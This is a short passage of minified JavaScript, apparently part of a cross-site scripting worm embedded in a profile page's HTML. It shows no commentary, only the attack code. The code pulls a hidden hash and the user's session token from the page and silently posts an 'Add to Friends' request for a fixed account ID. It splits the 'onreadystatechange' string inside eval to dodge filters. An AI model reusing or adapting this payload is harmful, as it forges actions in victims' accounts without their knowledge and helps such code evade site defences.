AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></div>